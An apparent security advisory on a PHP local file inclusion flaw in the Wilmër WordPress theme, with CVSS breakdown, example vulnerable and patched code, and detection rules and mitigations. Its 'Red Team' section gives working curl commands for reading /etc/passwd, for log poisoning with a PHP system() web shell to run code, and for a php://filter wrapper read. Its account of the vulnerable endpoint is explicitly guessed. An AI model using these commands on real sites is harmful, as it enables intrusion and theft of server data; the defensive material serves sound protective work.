CVE-2025-67515

Executive Summary

CVE-2025-67515 is a critical PHP Local File Inclusion (LFI) vulnerability in the Wilmër WordPress theme developed by Mikado-Themes (Qodeinteractive). The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php), remote code execution via log poisoning, or full server compromise. The CVSS score of 8.8 reflects the high impact and low complexity of exploitation. No public proof-of-concept or patch is currently available, making this a high-priority unpatched threat for all sites running Wilmër versions below 3.5.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the WordPress ecosystem. Since it is a commercial theme, it is not available on public package registries like Packagist or WordPress.org. Users must obtain patches directly from the vendor (Qodeinteractive). The lack of a public patch or advisory increases supply chain risk for organizations using this theme.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): High (H) – Potential to modify files via log injection.
• Availability (A): High (H) – Could lead to denial of service or full compromise.

Threat Level: Critical – Unpatched, remotely exploitable, and high impact.

Deep Dive & Mechanics

The vulnerability exists in the Wilmër theme's PHP code, likely in a file that handles template loading or shortcode rendering. The theme uses a user-controllable parameter (e.g., page, template, or include) in a PHP include() or require() statement without proper sanitization or path restriction. An attacker can supply a path traversal sequence (e.g., ../../../../etc/passwd) to include arbitrary files from the server.

Root Cause: The theme fails to validate or restrict the input used in the include/require function, allowing directory traversal. This is a classic CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program).

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., /?page=../../../../etc/passwd%00).
2. The theme passes the parameter directly to include().
3. PHP includes the target file, outputting its contents to the attacker.
4. For RCE, the attacker can poison log files (e.g., Apache access log) with PHP code and then include the log file.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

<?php
// vulnerable.php
$page = $_GET['page'];
include($page . '.php');
?>

Patched Code (Example):

<?php
// patched.php
$allowed_pages = array('home', 'about', 'contact');
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
    include($page . '.php');
} else {
    // Default page
    include('home.php');
}
?>

Key Differences:

• Input Validation: Patched code uses a whitelist of allowed values.
• Path Restriction: Patched code prevents directory traversal by not allowing arbitrary paths.
• Error Handling: Patched code falls back to a default file instead of exposing errors.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• WordPress 6.x with Wilmër theme < 3.5
• Apache/Nginx with PHP 7.4+
• Attacker machine with curl or browser

Exploitation Steps:

1. Basic LFI (File Read):

   curl "http://target.com/?page=../../../../etc/passwd"
   

   Expected output: Contents of /etc/passwd.

2. LFI to RCE via Log Poisoning:

   • Inject PHP code into Apache access log:

     curl -A "<?php system($_GET['cmd']); ?>" "http://target.com/"
     

   • Include the log file:

     curl "http://target.com/?page=../../../../var/log/apache2/access.log&cmd=id"
     

   Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. LFI to RCE via PHP Wrappers (if enabled):

   curl "http://target.com/?page=php://filter/convert.base64-encode/resource=../../../../etc/passwd"
   

Blue Team (Defensive)

Detection & Response:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
• Block requests containing ../../ in query parameters.
• Use WAF rules to detect LFI attempts (e.g., ModSecurity rule 950907).
• Disable allow_url_include and allow_url_fopen in PHP.
• Restrict file permissions on sensitive files (e.g., wp-config.php).

Honeypot:

• Deploy a fake wp-config.php with a decoy database password to alert on access.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with page=, template=, or include= parameters containing ../ or %2e%2e%2f.
  • User-Agent strings containing PHP code (e.g., <?php system(...); ?>).
  • Outbound connections from the web server to attacker-controlled IPs (post-exploitation).

• File System IOCs:

  • Unexpected files in /tmp/ or web root (e.g., shell.php).
  • Modified log files (e.g., Apache access log containing PHP code).
  • Presence of /etc/passwd or wp-config.php in web server error logs.

• Process IOCs:

  • PHP processes executing with unusual arguments (e.g., php -r "system(...)").
  • Web server user (www-data) spawning shells.

Detection Engineering

YARA Rule

rule CVE_2025_67515_LFI_Attempt {
    meta:
        description = "Detects LFI attempts targeting CVE-2025-67515 in Wilmër theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67515"
    strings:
        $lfi_pattern1 = /page=[^&]*\.\.\// nocase
        $lfi_pattern2 = /template=[^&]*\.\.\// nocase
        $lfi_pattern3 = /include=[^&]*\.\.\// nocase
        $php_code = /<\?php/i
    condition:
        any of ($lfi_pattern*) or ($lfi_pattern* and $php_code)
}

Sigma Rule

title: CVE-2025-67515 Wilmër LFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in Wilmër theme parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'page=../'
            - 'template=../'
            - 'include=../'
            - 'page=%2e%2e%2f'
            - 'template=%2e%2e%2f'
            - 'include=%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in custom code (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67515 Wilmër LFI Attempt"; flow:to_server,established; content:"page=../"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-67515 Wilmër LFI Attempt"; flow:to_server,established; content:"template=../"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-67515 Wilmër LFI Attempt"; flow:to_server,established; content:"include=../"; http_uri; nocase; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2025-67515 Wilmër LFI Attempt - Encoded"; flow:to_server,established; content:"page=%2e%2e%2f"; http_uri; nocase; sid:1000004; rev:1;)
alert http any any -> any any (msg:"CVE-2025-67515 Wilmër LFI Attempt - Encoded"; flow:to_server,established; content:"template=%2e%2e%2f"; http_uri; nocase; sid:1000005; rev:1;)
alert http any any -> any any (msg:"CVE-2025-67515 Wilmër LFI Attempt - Encoded"; flow:to_server,established; content:"include=%2e%2e%2f"; http_uri; nocase; sid:1000006; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Wilmër theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
2. Apply a virtual patch using a Web Application Firewall (WAF) to block LFI patterns.
3. Disable PHP allow_url_include and allow_url_fopen in php.ini.
4. Restrict file permissions on sensitive files (e.g., chmod 600 wp-config.php).

Long-Term Fix:

• Contact Qodeinteractive for an official patch or update to version 3.5+.
• Implement input validation and whitelisting for all user-supplied parameters used in file operations.
• Conduct a security audit of all custom themes and plugins.

Workaround:

• Add the following to .htaccess to block LFI attempts:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (page|template|include)=.*\.\.\/ [NC,OR]
  RewriteCond %{QUERY_STRING} (page|template|include)=.*%2e%2e%2f [NC]
  RewriteRule .* - [F,L]
  

Valters IT
Securing Digital Frontiers